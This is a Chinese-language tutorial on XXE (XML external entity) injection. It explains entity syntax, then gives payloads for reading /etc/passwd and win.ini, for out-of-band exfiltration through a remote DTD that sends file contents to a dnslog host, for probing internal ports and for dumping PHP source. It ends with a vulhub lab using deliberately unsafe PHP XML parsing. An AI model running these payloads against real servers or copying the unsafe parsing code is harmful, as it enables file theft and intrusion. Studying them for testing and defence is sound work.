概述
攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题。也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致XML外部实体注入
php libxml2.9.0以后,默认不解析外部实体。存在XXE漏洞
XML基础语法
先来看一段简单的XML代码 <?xml version=’1.0’?> //声明XML解析器版本来解析 <person> //根元素,不一定是person <name>test</name> //子元素,意思就是name变量的值是test <age>20</age> //同理 </person>
XML的基本结构
XML基本的结构,由XML声明,DTD部分, XML部分,三部分组成,示意图如下
实体又分为三种, 一般实体(通用实体),参数实体,预定义实体
一般实体
一般实体的声明: <!ENTITY 实体名称 "实体内容"> 引用一般实体的方法: &实体名称; <?xml version=’1.0’?> // 声明XML解析器版本来解析 // 运用实体定义变量的写法 // 即声明一个name变量,值为john <!DOCTYPE person[ <!ENTITY name “john”> ]> // 引用一般实体的写法,格式为"&实体名称;" <person> <name>&name;</name> <age>20</age> </person>
参数实体
参数实体的声明: <!ENTITY % 实体名称 "实体内容"> 引用参数实体的方法: %实体名称; <?xml version=’1.0’?> // 声明XML解析器版本来解析 // 运用参数实体定义变量的写法 // 即声明一个outer变量,值为John <!DOCTYPE person[ <!ENTITY %outer "John"> %outer; //参数实体定义的变量必须先在dtd文件中引用 ]> // 引用参数实体的写法,格式为"%实体名称;" <person> <name>%name;</name> <age>20</age> </person> 它必须定义在单独的DTD区域,这种实体相对灵活,这种功能在漏洞利用场景的外部实体注入(XXE) 过程中非常有用
内/外部实体
内部实体,直接创建dtd
<?xml version=”1.0” ?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r “hu3sky”> ]> <note> <name>&hack3r;</name> </note>
外部实体,从外部引用dtd
<?xml version=”1.@”?> <!DOCTYPE a[ <!ENTITY name SYSTEM “http://xx.com/aa.dtd”>]> <a> <name>&name;</name> </a>
php libxml2.9.0以后,默认不解析外部实体。
payload
验证xml是否执行
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "ESHLkangi"> ]> <name>&hacker;</name>
有回显-读取文件
//windows <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///c:/windows/win.ini"> ]> <x>&f;</x>
//Linux <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
无回显-远程加载
payload: 可以用来加载远程的xxe.dtd文件并执行文件中的内容,也可以无xxe.dtd文件只用来远程加载判断是否存在xxe漏洞 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://aaa.l5rq9i.dnslog.cn/xxe.dtd"> %remote;%int;%send; ]> xxe.dtd文件内容,需要在个人vps上启动web服务器 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://l5rq9i.dnslog.cn?c=%file;'>">
探测内网端口
在输入框中输入下面两段xml代码,虽然返回结果都是那段“友善”的提示,但是肉眼可见处理速度是不同的
原因是服务器80端口是开放的,而88端口是关闭的
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:88" > ]> <foo>&xxe;</foo>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> <foo>&xxe;</foo>
查看php源代码
查看php源代码一般用php伪协议php://filter
这里构造payload:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=c:/phpstudy_pro/WWW/pikachu/vul/rce/rce.php" > ]> <foo>&xxe;</foo>
就可以得到base64编码的rce.php文件源代码
之后拿到网上或者burpsuite的decoder模块解码就好
判断是否存在XXE漏洞
如果网站的包存在xml的格式可以替换成我们自己的xml
如果没有xml的格式,尝试替换一下Content-type 为xml,查看是否可以 ,如果不能就不存在
vulhub XML外部实体注入漏洞
访问主页,发现libxml版本低于2.9.0:
目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。
dom.php:DOMDocument :: loadXML() // 从字符串加载xml文档
<?php $data = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($data); print_r($dom);
SimpleXMLElement.php:SimpleXMLElement类标识xml文档中的元素
<?php $data = file_get_contents('php://input'); $xml = new SimpleXMLElement($data);
simplexml_load_string.php:simplexml_load_string() // 接受格式正确的XML字符串,并将其作为对象返回。
<?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name;
进入dom.php文件,然后抓包
添加xml文件,成功回显